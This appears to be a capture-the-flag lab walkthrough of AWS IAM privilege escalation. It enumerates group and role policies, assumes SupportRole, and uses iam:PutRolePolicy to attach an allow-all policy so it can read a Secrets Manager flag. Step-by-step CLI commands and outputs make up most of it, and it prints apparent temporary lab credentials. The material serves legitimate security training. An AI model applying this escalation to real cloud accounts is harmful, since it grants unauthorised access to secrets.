This lab doesn’t return a username so we need to know who we’re dealing with:
aws sts get-caller-identity
{
"UserId": "AIDA5M7PA4Z576GCALD4D",
"Account": "921234892411",
"Arn": "arn:aws:iam::921234892411:user/iam-putrolepolicy-privesc-1703266360190-Support-Mike"
}
Code language: JavaScript (javascript)
Let’s try to enumerate what permissions we have.
aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect
{
"Groups": [
{
"Path": "/",
"GroupName": "iam-putrolepolicy-privesc-1703266360190-Support",
"GroupId": "AGPA5M7PA4Z52HQSXDKXZ",
"Arn": "arn:aws:iam::921234892411:group/iam-putrolepolicy-privesc-1703266360190-Support",
"CreateDate": "2023-12-22T17:33:56+00:00"
}
]
}
Code language: PHP (php)
That tells us exactly what our group is including the GroupName
and Arn
.
Let’s list out the policies attached to this group:
aws iam list-group-policies --group-name iam-putrolepolicy-privesc-1703266360190-Support
{
"PolicyNames": [
"iam-putrolepolicy-privesc-1703266360190-policy"
]
}
Code language: PHP (php)
Now we can try to retrieve that policy:
aws iam get-group-policy --group-name iam-putrolepolicy-privesc-1703266360190-Support --policy-name iam-putrolepolicy-privesc-1703266360190-policy
{
"GroupName": "iam-putrolepolicy-privesc-1703266360190-Support",
"PolicyName": "iam-putrolepolicy-privesc-1703266360190-policy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Condition": {
"ArnEquals": {
"aws:PrincipalARN": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
}
},
"Action": [
"iam:PutRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowAttachRolePolicy"
},
{
"Action": [
"sts:AssumeRole"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowAssumeSupportRole"
},
{
"Action": [
"iam:Listroles"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowListRoles"
},
{
"Action": [
"iam:ListGroupPolicies",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListUserPolicies",
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:GetRole",
"iam:GetRolePolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:GetGroupPolicy"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Action": [
"iam:ListRolePolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowListRolePolicies"
}
]
}
}
Code language: JavaScript (javascript)
I’ll let you take a look at what all is there, but we can see that we have the ability to attach a role policy:
"Action": [
"iam:PutRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
Code language: JavaScript (javascript)
For the specific role of
"arn:aws:iam::921234892411:role/SupportRole"
Code language: JSON / JSON with Comments (json)
That’s interesting and might indicate that we have the ability to administer and maybe even assume this role?
Let’s check out this role:
aws iam list-roles --query "Roles[?RoleName=='SupportRole']"
[
{
"Path": "/",
"RoleName": "SupportRole",
"RoleId": "AROA5M7PA4Z5XAI6WBDQZ",
"Arn": "arn:aws:iam::921234892411:role/SupportRole",
"CreateDate": "2023-12-22T17:33:36+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::921234892411:root"
},
"Action": "sts:AssumeRole",
"Condition": {
"ArnEquals": {
"aws:PrincipalArn": "arn:aws:iam::921234892411:user/iam-putrolepolicy-privesc-1703266360190-Support-Mike"
}
}
}
]
},
"Description": "Assumable role for internal support",
"MaxSessionDuration": 3600
}
]
Code language: PHP (php)
This command shows us that we do indeed have the ability to assume this role! Let’s do that, but first, let’s enumerate what policy or policies are associated with this role.
aws iam list-role-policies --role-name SupportRole
{
"PolicyNames": [
"AccessNOTSensitiveBucket"
]
}
Code language: PHP (php)
aws iam get-role-policy --role-name SupportRole --policy-name AccessNOTSensitiveBucket
{
"RoleName": "Supportrole",
"PolicyName": "AccessNOTSensitiveBucket",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::cybr-operations-data-921234892411",
"Effect": "Allow",
"Sid": "AllowListNOTSensitiveBucket"
},
{
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::cybr-operations-data-921234892411/*",
"Effect": "Allow",
"Sid": "AllowGetObjectsInNOTSensitiveBucket"
},
{
"Action": [
"s3:ListAllMyBuckets",
"s3:GetBucketLocation"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowS3List"
}
]
}
}
Code language: JavaScript (javascript)
Ok so we can see that this role has a policy attached that grants access to S3 data. We want access to Secrets Manager, though, but let’s take it one step at a time. Let’s try to assume this role.
The way do to that is through the STS CLI command (https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html):
assume-role
--role-arn <value>
--role-session-name <value>
Code language: HTML, XML (xml)
We can pass in the role ARN which we just got back and we can give our session a name:
aws sts assume-role --role-arn arn:aws:iam::921234892411:role/SupportRole --role-session-name test
{
"Credentials": {
"AccessKeyId": "ASIA5M7PA4Z5XRJOLI7B",
"SecretAccessKey": "Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9",
"SessionToken": "IQoJb3JpZ2luX2VjEKr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCO7gw+wmQN4SFwQAZp1hbQH6ziDawpny9cFscbv+zcmAIgY+f9cqFxa4szRm0YY7Hb2FCHthHS/rS3G13V/...REDACTED",
"Expiration": "2023-12-22T18:42:09+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA5M7PA4Z5XAI6WBDQZ:test",
"Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}
}
Code language: JavaScript (javascript)
We can now use this information to make calls to the AWS environment using this role’s temporary credentials, like this:
aws configure --profile supportrole
AWS Access Key ID [None]: ASIA5M7PA4Z5XRJOLI7B
AWS Secret Access Key [None]: Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9
Default region name [None]: us-east-1
Default output format [None]: json
Code language: PHP (php)
And then we simply need to set the session token:
aws configure set aws_session_token <TOKEN HERE> --profile supportrole
Code language: HTML, XML (xml)
Don’t forget to set the session token for the --profile supportrole
.
There’s a better way of setting and managing role and temporary tokens that you can read about here, but for this lab it’s not necessary.
We can verify that we’re using the correct profile and credentials with:
aws sts get-caller-identity --profile supportrole
{
"UserId": "AROA5M7PA4Z5XAI6WBDQZ:test",
"Account": "921234892411",
"Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}
Code language: JavaScript (javascript)
This should not return the initial user and should instead return an assumed-role
arn, but then if you remove the --profile supportrole
you’re right back to your initial user and permissions. Keep that in mind as you go through the rest of the lab as it’s easy to forget the profile option.
Since we saw that we had S3 access, let’s see what we can access:
aws s3 ls --profile supportrole
2023-12-22 10:32:51 cybr-operations-data-921234892411
Code language: CSS (css)
So that works, and we can even list the contents of that bucket, but there’s nothing interesting in there:
aws s3 ls s3://cybr-operations-data-921234892411 --profile supportrole
2023-12-22 10:33:28 1159 favicon.png
2023-12-22 10:33:28 301 index.html
2023-12-22 10:33:28 142 style.css
Code language: JavaScript (javascript)
(Don’t forget the --profile supportrole
or it won’t work)
What we really want though is access to Secrets Manager, which we don’t currently have:
aws secretsmanager list-secrets --profile supportrole
An error occurred (AccessDeniedException) when calling the ListSecrets operation: User: arn:aws:sts::921234892411:assumed-role/SupportRole/test is not authorized to perform: secretsmanager:ListSecrets because no identity-based policy allows the secretsmanager:ListSecrets action
Code language: PHP (php)
However, if you remember from our prior command when we were looking at policies, we have the ability to PutRolePolicy from our user to this role:
"Action": [
"iam:PutRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
Code language: JavaScript (javascript)
That’s where PutRolePolicy
comes into play, so let’s use it now.
For this command, remember that you need to use your IAM user’s credentials, not the role, so remove the --profile
We’re going to use this CLI command:
put-role-policy
--role-name <value>
--policy-name <value>
--policy-document <value>
Code language: HTML, XML (xml)
We can do:
aws iam put-role-policy \
--role-name SupportRole \
--policy-name secretsaccess
--policy-document file://
Code language: JavaScript (javascript)
Except we don’t have a file created yet, so let’s do that:
vim policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Code language: JavaScript (javascript)
(I’m using vim but you can use whatever text editor you’re comfortable with)
I like to use this type of policy even if permissions in the AWS environment don’t allow us to get admin-level permissions because it removes a lot of the guess work. Whatever works, works and what doesn’t, doesn’t.
Now that we have this file, we can issue our command:
aws iam put-role-policy --role-name SupportRole --policy-name secretsaccess --policy-document file://policy.json
Code language: JavaScript (javascript)
We won’t get any response back if it succeeds, but we can verify by trying to list secrets:
aws secretsmanager list-secrets --profile supportrole
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:<redacted>-final_flag-B3vhXc",
"Name": "<redacted>-final_flag",
"Description": "Secret containing a flag",
"LastChangedDate": "2023-12-22T11:37:30.926000-07:00",
...REDACTED...
}
]
}
Code language: PHP (php)
(If it still gives an access denied error, give it a few seconds and try again. There is often a slight delay in permissions propagating through AWS)
(Also don’t forget to re-add in the --profile supportrole
)
We can now try to access this secret value, using the name of the secret from the prior command for the --secret-id
:
aws secretsmanager get-secret-value --secret-id putrolepolicy-final_flag --profile supportrole
{
"ARN": "arn:aws:secretsmanager:us-east-1:redacted-final_flag-B3vhXc",
"Name": "redacted-final_flag",
"VersionId": "9dd82a92-560d-fb79-c1a0-8ce743d10f06",
"SecretString": "{\\"vault-password\\": \\"redactedNDQ4OA==\\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-12-22T11:37:30.920000-07:00"
}
Code language: JavaScript (javascript)
(Don’t forget --profile supportrole
)
You’ll now be able to retrieve the secret, except there’s still one more problem! This secret string is not in plaintext, it’s got some sort of encoding 🤔
This one is very easy to decode, however, using an online tool like this: https://dencode.com/en/string, which I’ll let you do 🙂
And there you go! Congrats on capturing the flag! Go ahead and submit the decoded secret as the flag!
Responses